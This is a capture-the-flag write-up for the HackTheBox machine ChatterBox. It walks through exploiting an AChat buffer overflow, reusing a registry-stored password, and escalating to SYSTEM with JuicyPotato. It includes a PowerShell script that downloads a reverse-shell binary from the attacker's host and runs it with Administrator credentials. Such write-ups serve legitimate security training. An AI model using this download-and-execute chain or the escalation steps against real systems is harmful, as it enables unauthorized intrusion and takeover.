
HackTheBox – ChatterBox

S  ummary

• Discovery of AChat running on ports 9255 and 9256
• This service is vulnerable to buffer overflow, there is a publicly available exploit for this.
• Abused the buffer overflow to gain a session as the user – Alfred.
• Alfred has write permissions over C://Users/Administrator, this can be used to read sensitive

files.
• Alfreds password is stored in plain text in HKLM.
• This password is reused for the Administrator account and can be used to gain a session with

Administrator privileges.
• Administrator can be escalated to system privileges by abusing SeImpersonatePrivilege.
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Recon

I began by adding 10.10.10.74 to /etc/hosts as chatterbox.htb.
This was followed up by port scans only revealing ports 9255 and 9256 open, both running AChat.

# Nmap 7.80 scan initiated Mon Jan 25 09:30:23 2021 as: nmap -sV -sC -p9255,9256 -oN nmap.txt chatterbox.htb
Nmap scan report for chatterbox.htb (10.10.10.74)
Host is up (0.019s latency).

PORT     STATE SERVICE VERSION
9255/tcp open  http    AChat chat system httpd
|_http-server-header: AChat
|_http-title: Site doesn't have a title.
9256/tcp open  achat   AChat chat system

Using searchsploit we can find a remote buffer overflow exploit for this software.
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FootHold

This file is just a POC code, spawning calc.exe on the target system. There are a few variables that 
need to be edited in order to weaponize the exploit.

I used msfvenom to generate shellcode to replace the calc.exe shellcode.

I also changed the IP address in the  server_address variable to 'chatterbox.htb'
I then set up a listener and ran the exploit, this granted me a session as the user - Alfred.
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Privilege Escalation - Administrator

Alfred has access to Administrators desktop, but no permissions to read root.txt. 

Using icacls we can check access control lists, this shows that only Administrator has full control 
over root.txt

However, Alfred has full permissions over C://Users/Administrator.

So we can use icacls to change the permissions on root.txt.
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Checking for passwords stored in the registry nets a default password for Alfred.

In order to check for password reuse I created a reverse shell binary using msfvenom.

I then wrote the following powershell script to download the binary, set secure credentials for 
Administrator using the discovered password, then run binary as Administrator. I then hosted it and 
the binary via python http.server:

$WebClient = New-Object System.Net.WebClient                                                                     
$WebClient.DownloadFile("http://10.10.14.7:8000/privesc.exe","C://Users/Administrator/Desktop/privesc.exe")      
$pass = ConvertTo-SecureString "Welcome1!" -AsPlainText -Force                                                   
$creds = New-Object System.Management.Automation.PSCredential ("Administrator", $pass)                           
Start-Process -FilePath "C://Users/Administrator/Desktop/privesc.exe" -Credential $creds 
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With everything set I used powershell to execute the script in memory.

Once the script had completed I was granted a session as Administrator.
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Privilege Escalation – NT Authority\SYSTEM

As expected the Administrator account has a lot of privileges set. The easiest to abuse is 
SeImpersonatePrivilege
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Viewing systeminfo we can see Windows 7 Pro is running with x86 architecture, the system is also 
heavily patched.

As the system is x86 architecture I downloaded the following version of JuicyPotato to exploit 
SeImpersonatePrivilege.

https://github.com/ivanitlearning/Juicy-Potato-x86/releases/download/1.2/Juicy.Potato.x86.exe

This was then downloaded to the server using certutil.
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Next I grabbed a compatible CLSID from 
http://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise/
I used the wauasvc CLSID as this is usually present on most systems.

Running the exploit grants a session with system privileges.
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